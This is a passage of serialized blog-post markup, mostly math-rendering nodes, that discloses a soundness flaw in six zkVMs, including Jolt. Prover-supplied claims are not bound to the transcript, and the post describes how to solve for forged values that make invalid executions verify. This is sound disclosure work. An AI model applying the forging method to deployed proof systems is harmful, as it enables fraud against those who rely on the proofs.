"className":116015,"style":23945},[23938,23943,23944],[116017],{"type":29,"value":110621},{"type":23,"tag":230,"props":116019,"children":116021},{"className":116020},[6362],[116022],{"type":23,"tag":230,"props":116023,"children":116025},{"className":116024},[6367,23956],[116026,116057],{"type":23,"tag":230,"props":116027,"children":116029},{"className":116028},[6372],[116030,116052],{"type":23,"tag":230,"props":116031,"children":116034},{"className":116032,"style":116033},[6377],"height:0.162em;",[116035],{"type":23,"tag":230,"props":116036,"children":116037},{"style":23969},[116038,116042],{"type":23,"tag":230,"props":116039,"children":116041},{"className":116040,"style":6387},[6386],[],{"type":23,"tag":230,"props":116043,"children":116045},{"className":116044},[6392,6393,6394,6395],[116046],{"type":23,"tag":230,"props":116047,"children":116050},{"className":116048,"style":116049},[6345,23902,6395],"margin-right:0.05724em;",[116051],{"type":29,"value":10992},{"type":23,"tag":230,"props":116053,"children":116055},{"className":116054},[24059],[116056],{"type":29,"value":24062},{"type":23,"tag":230,"props":116058,"children":116060},{"className":116059},[6372],[116061],{"type":23,"tag":230,"props":116062,"children":116065},{"className":116063,"style":116064},[6377],"height:0.4358em;",[116066],{"type":23,"tag":230,"props":116067,"children":116068},{},[],{"type":23,"tag":230,"props":116070,"children":116072},{"className":116071,"style":6465},[6426],[],{"type":23,"tag":230,"props":116074,"children":116076},{"className":116075},[6345],[116077,116081,116234],{"type":23,"tag":230,"props":116078,"children":116080},{"className":116079},[24031,115344],[],{"type":23,"tag":230,"props":116082,"children":116084},{"className":116083},[115349],[116085],{"type":23,"tag":230,"props":116086,"children":116088},{"className":116087},[6367,23956],[116089,116222],{"type":23,"tag":230,"props":116090,"children":116092},{"className":116091},[6372],[116093,116217],{"type":23,"tag":230,"props":116094,"children":116096},{"className":116095,"style":115362},[6377],[116097,116186,116197],{"type":23,"tag":230,"props":116098,"children":116099},{"style":115366},[116100,116104],{"type":23,"tag":230,"props":116101,"children":116103},{"className":116102,"style":113997},[6386],[],{"type":23,"tag":230,"props":116105,"children":116107},{"className":116106},[6392,6393,6394,6395],[116108],{"type":23,"tag":230,"props":116109,"children":116111},{"className":116110},[6345,6395],[116112,116117,116122],{"type":23,"tag":230,"props":116113,"children":116115},{"className":116114,"style":115383},[6345,23902,6395],[116116],{"type":29,"value":115386},{"type":23,"tag":230,"props":116118,"children":116120},{"className":116119},[6432,6395],[116121],{"type":29,"value":6406},{"type":23,"tag":230,"props":116123,"children":116125},{"className":116124},[6345,6395],[116126,116135],{"type":23,"tag":230,"props":116127,"children":116129},{"className":116128},[6345,29,6395],[116130],{"type":23,"tag":230,"props":116131,"children":116133},{"className":116132},[6345,6395],[116134],{"type":29,"value":63783},{"type":23,"tag":230,"props":116136,"children":116138},{"className":116137},[6362],[116139],{"type":23,"tag":230,"props":116140,"children":116142},{"className":116141},[6367,23956],[116143,116174],{"type":23,"tag":230,"props":116144,"children":116146},{"className":116145},[6372],[116147,116169],{"type":23,"tag":230,"props":116148,"children":116151},{"className":116149,"style":116150},[6377],"height:0.3281em;",[116152],{"type":23,"tag":230,"props":116153,"children":116155},{"style":116154},"top:-2.357em;margin-right:0.0714em;",[116156,116160],{"type":23,"tag":230,"props":116157,"children":116159},{"className":116158,"style":110686},[6386],[],{"type":23,"tag":230,"props":116161,"children":116163},{"className":116162},[6392,110691,110692,6395],[116164],{"type":23,"tag":230,"props":116165,"children":116167},{"className":116166,"style":116049},[6345,23902,6395],[116168],{"type":29,"value":10992},{"type":23,"tag":230,"props":116170,"children":116172},{"className":116171},[24059],[116173],{"type":29,"value":24062},{"type":23,"tag":230,"props":116175,"children":116177},{"className":116176},[6372],[116178],{"type":23,"tag":230,"props":116179,"children":116182},{"className":116180,"style":116181},[6377],"height:0.2819em;",[116183],{"type":23,"tag":230,"props":116184,"children":116185},{},[],{"type":23,"tag":230,"props":116187,"children":116188},{"style":115399},[116189,116193],{"type":23,"tag":230,"props":116190,"children":116192},{"className":116191,"style":113997},[6386],[],{"type":23,"tag":230,"props":116194,"children":116196},{"className":116195,"style":115409},[115408],[],{"type":23,"tag":230,"props":116198,"children":116199},{"style":115413},[116200,116204],{"type":23,"tag":230,"props":116201,"children":116203},{"className":116202,"style":113997},[6386],[],{"type":23,"tag":230,"props":116205,"children":116207},{"className":116206},[6392,6393,6394,6395],[116208],{"type":23,"tag":230,"props":116209,"children":116211},{"className":116210},[6345,6395],[116212],{"type":23,"tag":230,"props":116213,"children":116215},{"className":116214},[6345,6395],[116216],{"type":29,"value":6348},{"type":23,"tag":230,"props":116218,"children":116220},{"className":116219},[24059],[116221],{"type":29,"value":24062},{"type":23,"tag":230,"props":116223,"children":116225},{"className":116224},[6372],[116226],{"type":23,"tag":230,"props":116227,"children":116230},{"className":116228,"style":116229},[6377],"height:0.5423em;",[116231],{"type":23,"tag":230,"props":116232,"children":116233},{},[],{"type":23,"tag":230,"props":116235,"children":116237},{"className":116236},[24053,115344],[],{"type":23,"tag":230,"props":116239,"children":116241},{"className":116240,"style":6427},[6426],[],{"type":23,"tag":230,"props":116243,"children":116245},{"className":116244},[6432],[116246],{"type":29,"value":6406},{"type":23,"tag":230,"props":116248,"children":116250},{"className":116249,"style":6427},[6426],[],{"type":23,"tag":230,"props":116252,"children":116254},{"className":116253},[6334],[116255,116260,116318,116322],{"type":23,"tag":230,"props":116256,"children":116259},{"className":116257,"style":116258},[6339],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":230,"props":116261,"children":116263},{"className":116262},[23938],[116264,116269],{"type":23,"tag":230,"props":116265,"children":116267},{"className":116266,"style":23945},[23938,23943,23944],[116268],{"type":29,"value":110621},{"type":23,"tag":230,"props":116270,"children":116272},{"className":116271},[6362],[116273],{"type":23,"tag":230,"props":116274,"children":116276},{"className":116275},[6367,23956],[116277,116306],{"type":23,"tag":230,"props":116278,"children":116280},{"className":116279},[6372],[116281,116301],{"type":23,"tag":230,"props":116282,"children":116284},{"className":116283,"style":115498},[6377],[116285],{"type":23,"tag":230,"props":116286,"children":116287},{"style":23969},[116288,116292],{"type":23,"tag":230,"props":116289,"children":116291},{"className":116290,"style":6387},[6386],[],{"type":23,"tag":230,"props":116293,"children":116295},{"className":116294},[6392,6393,6394,6395],[116296],{"type":23,"tag":230,"props":116297,"children":116299},{"className":116298,"style":96255},[6345,23902,6395],[116300],{"type":29,"value":90463},{"type":23,"tag":230,"props":116302,"children":116304},{"className":116303},[24059],[116305],{"type":29,"value":24062},{"type":23,"tag":230,"props":116307,"children":116309},{"className":116308},[6372],[116310],{"type":23,"tag":230,"props":116311,"children":116314},{"className":116312,"style":116313},[6377],"height:0.2997em;",[116315],{"type":23,"tag":230,"props":116316,"children":116317},{},[],{"type":23,"tag":230,"props":116319,"children":116321},{"className":116320,"style":6465},[6426],[],{"type":23,"tag":230,"props":116323,"children":116325},{"className":116324},[6345],[116326,116330,116483],{"type":23,"tag":230,"props":116327,"children":116329},{"className":116328},[24031,115344],[],{"type":23,"tag":230,"props":116331,"children":116333},{"className":116332},[115349],[116334],{"type":23,"tag":230,"props":116335,"children":116337},{"className":116336},[6367,23956],[116338,116471],{"type":23,"tag":230,"props":116339,"children":116341},{"className":116340},[6372],[116342,116466],{"type":23,"tag":230,"props":116343,"children":116345},{"className":116344,"style":115362},[6377],[116346,116435,116446],{"type":23,"tag":230,"props":116347,"children":116348},{"style":115366},[116349,116353],{"type":23,"tag":230,"props":116350,"children":116352},{"className":116351,"style":113997},[6386],[],{"type":23,"tag":230,"props":116354,"children":116356},{"className":116355},[6392,6393,6394,6395],[116357],{"type":23,"tag":230,"props":116358,"children":116360},{"className":116359},[6345,6395],[116361,116366,116371],{"type":23,"tag":230,"props":116362,"children":116364},{"className":116363,"style":115383},[6345,23902,6395],[116365],{"type":29,"value":115386},{"type":23,"tag":230,"props":116367,"children":116369},{"className":116368},[6432,6395],[116370],{"type":29,"value":6406},{"type":23,"tag":230,"props":116372,"children":116374},{"className":116373},[6345,6395],[116375,116385],{"type":23,"tag":230,"props":116376,"children":116378},{"className":116377},[6345,29,6395],[116379],{"type":23,"tag":230,"props":116380,"children":116382},{"className":116381},[6345,6395],[116383],{"type":29,"value":116384},"consume",{"type":23,"tag":230,"props":116386,"children":116388},{"className":116387},[6362],[116389],{"type":23,"tag":230,"props":116390,"children":116392},{"className":116391},[6367,23956],[116393,116423],{"type":23,"tag":230,"props":116394,"children":116396},{"className":116395},[6372],[116397,116418],{"type":23,"tag":230,"props":116398,"children":116400},{"className":116399,"style":114158},[6377],[116401],{"type":23,"tag":230,"props":116402,"children":116404},{"style":116403},"top:-2.3488em;margin-right:0.0714em;",[116405,116409],{"type":23,"tag":230,"props":116406,"children":116408},{"className":116407,"style":110686},[6386],[],{"type":23,"tag":230,"props":116410,"children":116412},{"className":116411},[6392,110691,110692,6395],[116413],{"type":23,"tag":230,"props":116414,"children":116416},{"className":116415,"style":96255},[6345,23902,6395],[116417],{"type":29,"value":90463},{"type":23,"tag":230,"props":116419,"children":116421},{"className":116420},[24059],[116422],{"type":29,"value":24062},{"type":23,"tag":230,"props":116424,"children":116426},{"className":116425},[6372],[116427],{"type":23,"tag":230,"props":116428,"children":116431},{"className":116429,"style":116430},[6377],"height:0.1512em;",[116432],{"type":23,"tag":230,"props":116433,"children":116434},{},[],{"type":23,"tag":230,"props":116436,"children":116437},{"style":115399},[116438,116442],{"type":23,"tag":230,"props":116439,"children":116441},{"className":116440,"style":113997},[6386],[],{"type":23,"tag":230,"props":116443,"children":116445},{"className":116444,"style":115409},[115408],[],{"type":23,"tag":230,"props":116447,"children":116448},{"style":115413},[116449,116453],{"type":23,"tag":230,"props":116450,"children":116452},{"className":116451,"style":113997},[6386],[],{"type":23,"tag":230,"props":116454,"children":116456},{"className":116455},[6392,6393,6394,6395],[116457],{"type":23,"tag":230,"props":116458,"children":116460},{"className":116459},[6345,6395],[116461],{"type":23,"tag":230,"props":116462,"children":116464},{"className":116463},[6345,6395],[116465],{"type":29,"value":6348},{"type":23,"tag":230,"props":116467,"children":116469},{"className":116468},[24059],[116470],{"type":29,"value":24062},{"type":23,"tag":230,"props":116472,"children":116474},{"className":116473},[6372],[116475],{"type":23,"tag":230,"props":116476,"children":116479},{"className":116477,"style":116478},[6377],"height:0.4509em;",[116480],{"type":23,"tag":230,"props":116481,"children":116482},{},[],{"type":23,"tag":230,"props":116484,"children":116486},{"className":116485},[24053,115344],[],{"type":23,"tag":32,"props":116488,"children":116489},{},[116490,116492,116674],{"type":29,"value":116491},"The global check: ",{"type":23,"tag":71,"props":116493,"children":116495},{"className":116494},[6318,6319],[116496],{"type":23,"tag":230,"props":116497,"children":116499},{"className":116498},[6324],[116500],{"type":23,"tag":230,"props":116501,"children":116503},{"className":116502,"ariaHidden":1726},[6329],[116504,116661],{"type":23,"tag":230,"props":116505,"children":116507},{"className":116506},[6334],[116508,116512,116569,116573,116582,116587,116648,116652,116657],{"type":23,"tag":230,"props":116509,"children":116511},{"className":116510,"style":94768},[6339],[],{"type":23,"tag":230,"props":116513,"children":116515},{"className":116514},[23938],[116516,116521],{"type":23,"tag":230,"props":116517,"children":116519},{"className":116518,"style":23945},[23938,23943,23944],[116520],{"type":29,"value":110621},{"type":23,"tag":230,"props":116522,"children":116524},{"className":116523},[6362],[116525],{"type":23,"tag":230,"props":116526,"children":116528},{"className":116527},[6367,23956],[116529,116558],{"type":23,"tag":230,"props":116530,"children":116532},{"className":116531},[6372],[116533,116553],{"type":23,"tag":230,"props":116534,"children":116536},{"className":116535,"style":116033},[6377],[116537],{"type":23,"tag":230,"props":116538,"children":116539},{"style":23969},[116540,116544],{"type":23,"tag":230,"props":116541,"children":116543},{"className":116542,"style":6387},[6386],[],{"type":23,"tag":230,"props":116545,"children":116547},{"className":116546},[6392,6393,6394,6395],[116548],{"type":23,"tag":230,"props":116549,"children":116551},{"className":116550},[6345,23902,6395],[116552],{"type":29,"value":6074},{"type":23,"tag":230,"props":116554,"children":116556},{"className":116555},[24059],[116557],{"type":29,"value":24062},{"type":23,"tag":230,"props":116559,"children":116561},{"className":116560},[6372],[116562],{"type":23,"tag":230,"props":116563,"children":116565},{"className":116564,"style":116313},[6377],[116566],{"type":23,"tag":230,"props":116567,"children":116568},{},[],{"type":23,"tag":230,"props":116570,"children":116572},{"className":116571,"style":6465},[6426],[],{"type":23,"tag":230,"props":116574,"children":116576},{"className":116575},[6345,29],[116577],{"type":23,"tag":230,"props":116578,"children":116580},{"className":116579},[6345],[116581],{"type":29,"value":115919},{"type":23,"tag":230,"props":116583,"children":116585},{"className":116584,"style":94826},[6345],[116586],{"type":29,"value":5422},{"type":23,"tag":230,"props":116588,"children":116590},{"className":116589},[6345],[116591,116600],{"type":23,"tag":230,"props":116592,"children":116594},{"className":116593},[6345,29],[116595],{"type":23,"tag":230,"props":116596,"children":116598},{"className":116597},[6345],[116599],{"type":29,"value":78411},{"type":23,"tag":230,"props":116601,"children":116603},{"className":116602},[6362],[116604],{"type":23,"tag":230,"props":116605,"children":116607},{"className":116606},[6367,23956],[116608,116637],{"type":23,"tag":230,"props":116609,"children":116611},{"className":116610},[6372],[116612,116632],{"type":23,"tag":230,"props":116613,"children":116615},{"className":116614,"style":95355},[6377],[116616],{"type":23,"tag":230,"props":116617,"children":116618},{"style":115956},[116619,116623],{"type":23,"tag":230,"props":116620,"children":116622},{"className":116621,"style":6387},[6386],[],{"type":23,"tag":230,"props":116624,"children":116626},{"className":116625},[6392,6393,6394,6395],[116627],{"type":23,"tag":230,"props":116628,"children":116630},{"className":116629},[6345,23902,6395],[116631],{"type":29,"value":6074},{"type":23,"tag":230,"props":116633,"children":116635},{"className":116634},[24059],[116636],{"type":29,"value":24062},{"type":23,"tag":230,"props":116638,"children":116640},{"className":116639},[6372],[116641],{"type":23,"tag":230,"props":116642,"children":116644},{"className":116643,"style":94909},[6377],[116645],{"type":23,"tag":230,"props":116646,"children":116647},{},[],{"type":23,"tag":230,"props":116649,"children":116651},{"className":116650,"style":6524},[6426],[],{"type":23,"tag":230,"props":116653,"children":116655},{"className":116654},[6529],[116656],{"type":29,"value":863},{"type":23,"tag":230,"props":116658,"children":116660},{"className":116659,"style":6524},[6426],[],{"type":23,"tag":230,"props":116662,"children":116664},{"className":116663},[6334],[116665,116669],{"type":23,"tag":230,"props":116666,"children":116668},{"className":116667,"style":95857},[6339],[],{"type":23,"tag":230,"props":116670,"children":116672},{"className":116671},[6345],[116673],{"type":29,"value":6358},{"type":29,"value":312},{"type":23,"tag":32,"props":116676,"children":116677},{},[116678,116683,116685,116691],{"type":23,"tag":2302,"props":116679,"children":116680},{},[116681],{"type":29,"value":116682},"Why this is vulnerable:",{"type":29,"value":116684}," The ",{"type":23,"tag":71,"props":116686,"children":116688},{"className":116687},[],[116689],{"type":29,"value":116690},"claimed_sum",{"type":29,"value":116692}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":21113,"props":116694,"children":116695},{},[],{"type":23,"tag":24,"props":116697,"children":116699},{"id":116698},"the-universal-attack-pattern",[116700],{"type":29,"value":116701},"The Universal Attack Pattern",{"type":23,"tag":32,"props":116703,"children":116704},{},[116705],{"type":29,"value":116706},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":32,"props":116708,"children":116709},{},[116710],{"type":23,"tag":93,"props":116711,"children":116714},{"alt":116712,"src":116713},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":32,"props":116716,"children":116717},{},[116718,116720,116745],{"type":29,"value":116719},"When a value ",{"type":23,"tag":71,"props":116721,"children":116723},{"className":116722},[6318,6319],[116724],{"type":23,"tag":230,"props":116725,"children":116727},{"className":116726},[6324],[116728],{"type":23,"tag":230,"props":116729,"children":116731},{"className":116730,"ariaHidden":1726},[6329],[116732],{"type":23,"tag":230,"props":116733,"children":116735},{"className":116734},[6334],[116736,116740],{"type":23,"tag":230,"props":116737,"children":116739},{"className":116738,"style":23897},[6339],[],{"type":23,"tag":230,"props":116741,"children":116743},{"className":116742,"style":110024},[6345,23902],[116744],{"type":29,"value":110348},{"type":29,"value":116746}," isn't transcript-bound:",{"type":23,"tag":144,"props":116748,"children":116749},{},[116750,116781,116858,117003],{"type":23,"tag":102,"props":116751,"children":116752},{},[116753,116755,116780],{"type":29,"value":116754},"Challenges are fixed (independent of ",{"type":23,"tag":71,"props":116756,"children":116758},{"className":116757},[6318,6319],[116759],{"type":23,"tag":230,"props":116760,"children":116762},{"className":116761},[6324],[116763],{"type":23,"tag":230,"props":116764,"children":116766},{"className":116765,"ariaHidden":1726},[6329],[116767],{"type":23,"tag":230,"props":116768,"children":116770},{"className":116769},[6334],[116771,116775],{"type":23,"tag":230,"props":116772,"children":116774},{"className":116773,"style":23897},[6339],[],{"type":23,"tag":230,"props":116776,"children":116778},{"className":116777,"style":110024},[6345,23902],[116779],{"type":29,"value":110348},{"type":29,"value":5467},{"type":23,"tag":102,"props":116782,"children":116783},{},[116784,116786],{"type":29,"value":116785},"The verification equation has form: ",{"type":23,"tag":71,"props":116787,"children":116789},{"className":116788},[6318,6319],[116790],{"type":23,"tag":230,"props":116791,"children":116793},{"className":116792},[6324],[116794],{"type":23,"tag":230,"props":116795,"children":116797},{"className":116796,"ariaHidden":1726},[6329],[116798,116839],{"type":23,"tag":230,"props":116799,"children":116801},{"className":116800},[6334],[116802,116806,116811,116816,116821,116826,116830,116835],{"type":23,"tag":230,"props":116803,"children":116805},{"className":116804,"style":6447},[6339],[],{"type":23,"tag":230,"props":116807,"children":116809},{"className":116808,"style":97180},[6345,23902],[116810],{"type":29,"value":35377},{"type":23,"tag":230,"props":116812,"children":116814},{"className":116813},[24031],[116815],{"type":29,"value":302},{"type":23,"tag":230,"props":116817,"children":116819},{"className":116818,"style":110024},[6345,23902],[116820],{"type":29,"value":110348},{"type":23,"tag":230,"props":116822,"children":116824},{"className":116823},[24053],[116825],{"type":29,"value":5467},{"type":23,"tag":230,"props":116827,"children":116829},{"className":116828,"style":6524},[6426],[],{"type":23,"tag":230,"props":116831,"children":116833},{"className":116832},[6529],[116834],{"type":29,"value":863},{"type":23,"tag":230,"props":116836,"children":116838},{"className":116837,"style":6524},[6426],[],{"type":23,"tag":230,"props":116840,"children":116842},{"className":116841},[6334],[116843,116848],{"type":23,"tag":230,"props":116844,"children":116847},{"className":116845,"style":116846},[6339],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":116849,"children":116851},{"className":116850},[6345,29],[116852],{"type":23,"tag":230,"props":116853,"children":116855},{"className":116854},[6345],[116856],{"type":29,"value":116857},"target",{"type":23,"tag":102,"props":116859,"children":116860},{},[116861,116862,116888,116890],{"type":29,"value":9816},{"type":23,"tag":71,"props":116863,"children":116865},{"className":116864},[6318,6319],[116866],{"type":23,"tag":230,"props":116867,"children":116869},{"className":116868},[6324],[116870],{"type":23,"tag":230,"props":116871,"children":116873},{"className":116872,"ariaHidden":1726},[6329],[116874],{"type":23,"tag":230,"props":116875,"children":116877},{"className":116876},[6334],[116878,116883],{"type":23,"tag":230,"props":116879,"children":116882},{"className":116880,"style":116881},[6339],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":116884,"children":116886},{"className":116885,"style":97180},[6345,23902],[116887],{"type":29,"value":35377},{"type":29,"value":116889}," is linear: ",{"type":23,"tag":71,"props":116891,"children":116893},{"className":116892},[6318,6319],[116894],{"type":23,"tag":230,"props":116895,"children":116897},{"className":116896},[6324],[116898],{"type":23,"tag":230,"props":116899,"children":116901},{"className":116900,"ariaHidden":1726},[6329],[116902,116931,116958,116986],{"type":23,"tag":230,"props":116903,"children":116905},{"className":116904},[6334],[116906,116911,116918,116922,116927],{"type":23,"tag":230,"props":116907,"children":116910},{"className":116908,"style":116909},[6339],"height:0.4445em;",[],{"type":23,"tag":230,"props":116912,"children":116915},{"className":116913,"style":116914},[6345,23902],"margin-right:0.0037em;",[116916],{"type":29,"value":116917},"α",{"type":23,"tag":230,"props":116919,"children":116921},{"className":116920,"style":6427},[6426],[],{"type":23,"tag":230,"props":116923,"children":116925},{"className":116924},[6432],[116926],{"type":29,"value":113088},{"type":23,"tag":230,"props":116928,"children":116930},{"className":116929,"style":6427},[6426],[],{"type":23,"tag":230,"props":116932,"children":116934},{"className":116933},[6334],[116935,116940,116945,116949,116954],{"type":23,"tag":230,"props":116936,"children":116939},{"className":116937,"style":116938},[6339],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":230,"props":116941,"children":116943},{"className":116942,"style":110024},[6345,23902],[116944],{"type":29,"value":110348},{"type":23,"tag":230,"props":116946,"children":116948},{"className":116947,"style":6427},[6426],[],{"type":23,"tag":230,"props":116950,"children":116952},{"className":116951},[6432],[116953],{"type":29,"value":6719},{"type":23,"tag":230,"props":116955,"children":116957},{"className":116956,"style":6427},[6426],[],{"type":23,"tag":230,"props":116959,"children":116961},{"className":116960},[6334],[116962,116966,116973,116977,116982],{"type":23,"tag":230,"props":116963,"children":116965},{"className":116964,"style":116881},[6339],[],{"type":23,"tag":230,"props":116967,"children":116970},{"className":116968,"style":116969},[6345,23902],"margin-right:0.05278em;",[116971],{"type":29,"value":116972},"β",{"type":23,"tag":230,"props":116974,"children":116976},{"className":116975,"style":6524},[6426],[],{"type":23,"tag":230,"props":116978,"children":116980},{"className":116979},[6529],[116981],{"type":29,"value":863},{"type":23,"tag":230,"props":116983,"children":116985},{"className":116984,"style":6524},[6426],[],{"type":23,"tag":230,"props":116987,"children":116989},{"className":116988},[6334],[116990,116994],{"type":23,"tag":230,"props":116991,"children":116993},{"className":116992,"style":116846},[6339],[],{"type":23,"tag":230,"props":116995,"children":116997},{"className":116996},[6345,29],[116998],{"type":23,"tag":230,"props":116999,"children":117001},{"className":117000},[6345],[117002],{"type":29,"value":116857},{"type":23,"tag":102,"props":117004,"children":117005},{},[117006,117008],{"type":29,"value":117007},"Solve: ",{"type":23,"tag":71,"props":117009,"children":117011},{"className":117010},[6318,6319],[117012],{"type":23,"tag":230,"props":117013,"children":117015},{"className":117014},[6324],[117016],{"type":23,"tag":230,"props":117017,"children":117019},{"className":117018,"ariaHidden":1726},[6329],[117020,117046,117081],{"type":23,"tag":230,"props":117021,"children":117023},{"className":117022},[6334],[117024,117028,117033,117037,117042],{"type":23,"tag":230,"props":117025,"children":117027},{"className":117026,"style":23897},[6339],[],{"type":23,"tag":230,"props":117029,"children":117031},{"className":117030,"style":110024},[6345,23902],[117032],{"type":29,"value":110348},{"type":23,"tag":230,"props":117034,"children":117036},{"className":117035,"style":6524},[6426],[],{"type":23,"tag":230,"props":117038,"children":117040},{"className":117039},[6529],[117041],{"type":29,"value":863},{"type":23,"tag":230,"props":117043,"children":117045},{"className":117044,"style":6524},[6426],[],{"type":23,"tag":230,"props":117047,"children":117049},{"className":117048},[6334],[117050,117054,117059,117068,117072,117077],{"type":23,"tag":230,"props":117051,"children":117053},{"className":117052,"style":6447},[6339],[],{"type":23,"tag":230,"props":117055,"children":117057},{"className":117056},[24031],[117058],{"type":29,"value":302},{"type":23,"tag":230,"props":117060,"children":117062},{"className":117061},[6345,29],[117063],{"type":23,"tag":230,"props":117064,"children":117066},{"className":117065},[6345],[117067],{"type":29,"value":116857},{"type":23,"tag":230,"props":117069,"children":117071},{"className":117070,"style":6427},[6426],[],{"type":23,"tag":230,"props":117073,"children":117075},{"className":117074},[6432],[117076],{"type":29,"value":6406},{"type":23,"tag":230,"props":117078,"children":117080},{"className":117079,"style":6427},[6426],[],{"type":23,"tag":230,"props":117082,"children":117084},{"className":117083},[6334],[117085,117089,117094,117099,117104],{"type":23,"tag":230,"props":117086,"children":117088},{"className":117087,"style":6447},[6339],[],{"type":23,"tag":230,"props":117090,"children":117092},{"className":117091,"style":116969},[6345,23902],[117093],{"type":29,"value":116972},{"type":23,"tag":230,"props":117095,"children":117097},{"className":117096},[24053],[117098],{"type":29,"value":5467},{"type":23,"tag":230,"props":117100,"children":117102},{"className":117101},[6345],[117103],{"type":29,"value":6919},{"type":23,"tag":230,"props":117105,"children":117107},{"className":117106,"style":116914},[6345,23902],[117108],{"type":29,"value":116917},{"type":23,"tag":32,"props":117110,"children":117111},{},[117112],{"type":29,"value":117113},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":32,"props":117115,"children":117116},{},[117117,117119,117197],{"type":29,"value":117118},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":71,"props":117120,"children":117122},{"className":117121},[6318,6319],[117123],{"type":23,"tag":230,"props":117124,"children":117126},{"className":117125},[6324],[117127],{"type":23,"tag":230,"props":117128,"children":117130},{"className":117129,"ariaHidden":1726},[6329],[117131],{"type":23,"tag":230,"props":117132,"children":117134},{"className":117133},[6334],[117135,117140,117146,117151,117192],{"type":23,"tag":230,"props":117136,"children":117139},{"className":117137,"style":117138},[6339],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":230,"props":117141,"children":117143},{"className":117142,"style":94826},[6345,23902],[117144],{"type":29,"value":117145},"O",{"type":23,"tag":230,"props":117147,"children":117149},{"className":117148},[24031],[117150],{"type":29,"value":302},{"type":23,"tag":230,"props":117152,"children":117154},{"className":117153},[6345],[117155,117160],{"type":23,"tag":230,"props":117156,"children":117158},{"className":117157},[6345,23902],[117159],{"type":29,"value":58177},{"type":23,"tag":230,"props":117161,"children":117163},{"className":117162},[6362],[117164],{"type":23,"tag":230,"props":117165,"children":117167},{"className":117166},[6367],[117168],{"type":23,"tag":230,"props":117169,"children":117171},{"className":117170},[6372],[117172],{"type":23,"tag":230,"props":117173,"children":117175},{"className":117174,"style":6340},[6377],[117176],{"type":23,"tag":230,"props":117177,"children":117178},{"style":6381},[117179,117183],{"type":23,"tag":230,"props":117180,"children":117182},{"className":117181,"style":6387},[6386],[],{"type":23,"tag":230,"props":117184,"children":117186},{"className":117185},[6392,6393,6394,6395],[117187],{"type":23,"tag":230,"props":117188,"children":117190},{"className":117189},[6345,6395],[117191],{"type":29,"value":19616},{"type":23,"tag":230,"props":117193,"children":117195},{"className":117194},[24053],[117196],{"type":29,"value":5467},{"type":29,"value":117198}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":21113,"props":117200,"children":117201},{},[],{"type":23,"tag":24,"props":117203,"children":117205},{"id":117204},"the-six-broken-systems",[117206],{"type":29,"value":117207},"The Six Broken Systems",{"type":23,"tag":32,"props":117209,"children":117210},{},[117211],{"type":23,"tag":93,"props":117212,"children":117215},{"alt":117213,"src":117214},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":32,"props":117217,"children":117218},{},[117219],{"type":29,"value":117220},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":21113,"props":117222,"children":117223},{},[],{"type":23,"tag":59,"props":117225,"children":117227},{"id":117226},"jolt-a16z",[117228],{"type":29,"value":117229},"Jolt (a16z)",{"type":23,"tag":32,"props":117231,"children":117232},{},[117233],{"type":29,"value":117234},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":32,"props":117236,"children":117237},{},[117238],{"type":23,"tag":2302,"props":117239,"children":117240},{},[117241],{"type":29,"value":117242},"The proof structure:",{"type":23,"tag":220,"props":117244,"children":117246},{"code":117245},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[117247],{"type":23,"tag":71,"props":117248,"children":117249},{"__ignoreMap":7},[117250],{"type":29,"value":117245},{"type":23,"tag":32,"props":117252,"children":117253},{},[117254],{"type":23,"tag":2302,"props":117255,"children":117256},{},[117257],{"type":29,"value":117258},"The verification flow:",{"type":23,"tag":32,"props":117260,"children":117261},{},[117262],{"type":23,"tag":93,"props":117263,"children":117266},{"alt":117264,"src":117265},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":32,"props":117268,"children":117269},{},[117270,117275,117277,117283,117285,117291,117293,117298],{"type":23,"tag":2302,"props":117271,"children":117272},{},[117273],{"type":29,"value":117274},"The bug:",{"type":29,"value":117276}," Each sumcheck instance provides an ",{"type":23,"tag":71,"props":117278,"children":117280},{"className":117279},[],[117281],{"type":29,"value":117282},"input_claim",{"type":29,"value":117284},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":71,"props":117286,"children":117288},{"className":117287},[],[117289],{"type":29,"value":117290},"opening_claims",{"type":29,"value":117292}," in the proof, but they were ",{"type":23,"tag":2302,"props":117294,"children":117295},{},[117296],{"type":29,"value":117297},"never absorbed into the transcript",{"type":29,"value":117299}," before the batching coefficients were derived.",{"type":23,"tag":32,"props":117301,"children":117302},{},[117303],{"type":23,"tag":93,"props":117304,"children":117307},{"alt":117305,"src":117306},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":32,"props":117309,"children":117310},{},[117311],{"type":23,"tag":2302,"props":117312,"children":117313},{},[117314],{"type":29,"value":117315},"How sumcheck uses opening_claims:",{"type":23,"tag":32,"props":117317,"children":117318},{},[117319,117321,117327,117329,117406],{"type":29,"value":117320},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":71,"props":117322,"children":117324},{"className":117323},[],[117325],{"type":29,"value":117326},"BatchedClaim",{"type":29,"value":117328}," by taking a random linear combination of the individual claims 